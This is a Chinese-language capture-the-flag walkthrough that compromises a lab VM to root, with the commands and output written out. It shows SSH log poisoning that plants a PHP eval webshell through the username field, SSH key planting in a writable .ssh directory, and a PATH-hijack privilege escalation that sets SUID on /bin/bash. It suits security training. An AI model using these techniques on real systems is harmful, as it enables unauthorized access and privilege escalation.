信息搜集
主机扫描
arp-scan -l
端口扫描
┌──(root㉿kali)-[~]
└─# nmap -sV -p- 192.168.254.26
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-28 08:14 EDT
Nmap scan report for 192.168.254.26
Host is up (0.00043s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
MAC Address: 08:00:27:31:6F:4B (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
路径扫描
┌──(root㉿kali)-[~]
└─# gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -t 100 -b 403,404 -x php,txt,jpg,html,txt,zip -u http://192.168.254.26
===============================================================
/index.html (Status: 200) [Size: 1373]
/privacy (Status: 301) [Size: 318] [--> http://192.168.254.26/privacy/]
/robots.txt (Status: 200) [Size: 37]
/tickets.html (Status: 200) [Size: 347]
/drupal (Status: 301) [Size: 317] [--> http://192.168.254.26/drupal/]
/secret (Status: 301) [Size: 317] [--> http://192.168.254.26/secret/]
/wp-admin (Status: 301) [Size: 319] [--> http://192.168.254.26/wp-admin/]
/phpmyadmin (Status: 301) [Size: 321] [--> http://192.168.254.26/phpmyadmin/]
80端口
- /robots.txt
发现一个路径/littlequeenofspades.html
在源码里发现一串base64,解码又是一个路径/adminsfixit.php
访问后发现这是一个ssh的log日志,意味着我们输入什么,就可以利用这个日志,写入一句话木马,从而获取shell
拿取shell
通过学习,发现ssh登录的用户名可以写入一句话木马,但是我写入无法执行,说包含特殊字符,通过看小白师傅的wp发现可以使用msf(牛,然后写入一句话木马
msf6 > use auxiliary/scanner/ssh/ssh_login
msf6 auxiliary(scanner/ssh/ssh_login) > set rhost 192.168.254.26
rhost => 192.168.254.26
msf6 auxiliary(scanner/ssh/ssh_login) > set username <?php @eval($_POST['a']);?>
username => <?php @eval($_POST[a]);?>
msf6 auxiliary(scanner/ssh/ssh_login) > set password 11111
password => 11111
msf6 auxiliary(scanner/ssh/ssh_login) > run
回过头来我们再次查看日志,发现存在我们注入的语句,空用户名就是因为我们写的是php语句被解析了
通过蚁剑,我们获取shell
发现有个用户,robertj,通过信息搜集,发现没有什么能提权的方式,但通过.ssh我们可以利用公钥私钥来登录,经典的方式,为什么利用.ssh可以,其实文件权限也给了提示,就是.ssh的文件权限是707,意味着我们可以写入,于是我们自己生成一对密钥对,上传公钥,私钥用来登录
ssh-keygen -t rsa -b 4096 -f /root/drifting/id_rsa
mv id_rsa.pub authorized_keys
python3 -m http.server
chmod 600 id_rsa
ssh -i id_rsa robertj@192.168.254.26
提权
- sudo -l 无法使用命令
- find / -perm -u=s -type f 2>/dev/null
找到一个特殊命令
/usr/bin/getinfo
执行一下,发现这个命令不过是ip,uname -a ,cat /etc/hosts的命令的总和,明白了,于是我可以伪造一个ip命令,通过路径劫持在tmp目录下写一个假的ip命令,然后执行
robertj@driftingblues:~$ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
robertj@driftingblues:/tmp$ touch ip
robertj@driftingblues:/tmp$ echo "chmod +x /bin/bash" > ip
robertj@driftingblues:/tmp$ cat ip
chmod +x /bin/bash
robertj@driftingblues:/tmp$ echo "chmod +s /bin/bash" > ip
robertj@driftingblues:/tmp$ chmod +x ip
robertj@driftingblues:/tmp$ export PATH=/tmp:$PATH
robertj@driftingblues:/tmp$ echo $path
robertj@driftingblues:/tmp$ echo $PATH
/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
/usr/bin/getinfo
然后再次执行getinfo命令,他就执行的不是/bin/ip,而是/tmp/ip
这里也可以使用cat命令,一样的
然后直接查看是否执行成功
robertj@driftingblues:/tmp$ ls -al /bin/bash
-rwsr-sr-x 1 root root 1168776 Apr 17 2019 /bin/bash
确实赋予了s权限
obertj@driftingblues:/tmp$ /bin/bash -p
bash-5.0# whoami
root
bash-5.0# cat root.txt
dfb7f604a22928afba370d819b35ec83
成功拿到root